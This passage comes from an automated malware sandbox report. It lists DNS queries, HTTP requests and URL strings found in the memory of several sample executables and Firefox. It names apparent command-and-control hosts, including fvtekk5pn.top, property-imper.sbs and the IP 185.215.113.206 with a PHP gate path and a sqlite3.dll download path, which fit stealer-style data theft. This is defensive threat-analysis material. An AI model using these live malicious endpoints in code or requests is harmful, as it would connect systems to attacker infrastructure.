tream/html5/ima3.jsbackground-script-suspend-ignored equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3001713978.000002AEACB10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001713978.000002AEACBC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.comZ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.3222553895.00001A9D0CF00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.3001713978.000002AEACB8B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3001713978.000002AEACB3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2997884636.000002AEAC9DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic	DNS traffic detected: DNS query: property-imper.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: fvtekk5pn.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: property-imper.sbs

Source: 01806ad967.exe, 00000007.00000002.3834123585.0000000001C6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: HTTP://fvtekk5pn.top/v1/upload.php
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: firefox.exe, 0000001C.00000002.2976855688.000002AEABD5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2889357487.000002AE9BF6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3153046824.000002AEB4553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000C97000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2893781909.000000000148E000.00000004.00000020.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BFF000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BE5000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/#
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllN
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllX
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dllf#
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000C97000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014D4000.00000004.00000020.00020000.00000000.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BFF000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php5-B~
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpB
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE.
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpKe
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpP1
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpU-
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000C97000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpe
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000C97000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BFF000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinstall
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm-
Source: 7acf96002d.exe, 0000000A.00000002.2893781909.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy-
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dllm-data;
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206BGC
Source: 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000C97000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BFF000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BB4000.00000040.00000001.01000000.0000000B.sdmp, 7acf96002d.exe, 0000000A.00000002.2889718527.0000000000BE5000.00000040.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://mail.inbox.lv/compose?to=%sget
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 847b1b04ba.exe, 0000000E.00000003.3054930967.00000000008B7000.00000004.00000020.00020000.00000000.sdmp, 847b1b04ba.exe, 0000000E.00000003.3064803470.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB46BC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3084108536.000002AEAE7F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD74B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3114461929.000002AEAF631000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3154855499.000002AEB4607000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3059474059.000002AEADD3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3185075240.000002AEB4B4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2849958301.000002AEADD3B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD71C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2956559828.000002AEAA31C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC84F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001C.00000002.3181470422.000002AEB4A90000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2960425657.000002AEAA400000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3018091700.000002AEAD74B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListener
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB479A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListener
Source: firefox.exe, 0000001C.00000002.3007209407.000002AEAD0D0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347libgcc_s_dw2-1.dll__register_frame_info__der
Source: 01806ad967.exe, 00000007.00000002.3830661343.0000000001273000.00000040.00000001.01000000.00000009.sdmp, 01806ad967.exe, 00000007.00000003.2385198137.0000000007902000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#-
Source: firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3249936764.00003E86C9E04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3011306317.000002AEAD441000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3226989797.0000215661004000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3220679353.0000133B72D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryUseCountThreshold
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemsmaybeOfferTranslatio
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA79000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemsbrowser.newtabpage.a
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001C.00000002.3000318337.000002AEACA7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/$n
Source: firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0
Source: firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/0Z
Source: firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/L:
Source: firefox.exe, 0000001C.00000003.2849793103.000002AEADD41000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3007848854.000002AEAD1D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2995916903.000002AEAC803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2864412913.000002AEAB761000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2827374873.000002AEB5FA4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2849793103.000002AEADD53000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2980227398.000002AEABF03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2866204391.000002AEB5FA1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3164775576.000002AEB47E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3088189159.000002AEAEB18000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2764130700.000002AEAB8CF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063116747.000002AEAE149000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2809870565.000002AEB4868000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3027428952.000002AEAD9E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3063527993.000002AEAE258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3031627021.000002AEADA35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3027428952.000002AEAD936000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2815827062.000002AEB48CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2976855688.000002AEABD03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3084108536.000002AEAE7F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000001C.00000002.3246948274.00003C6359900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3220679353.0000133B72D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/Z
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 847b1b04ba.exe, 0000000E.00000003.2837703272.000000000537C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%shttp://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/De
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001C.00000002.3164775576.000002AEB4720000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2849026417.000002AEAE33D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2823294314.000002AEAC9B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sScheme
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001C.00000002.2916167170.000002AEA8579000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001C.00000002.2956559828.000002AEAA37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 0000001C.00000002.3142574817.000002AEAF993000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001C.00000002.3185075240.000002AEB4B27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
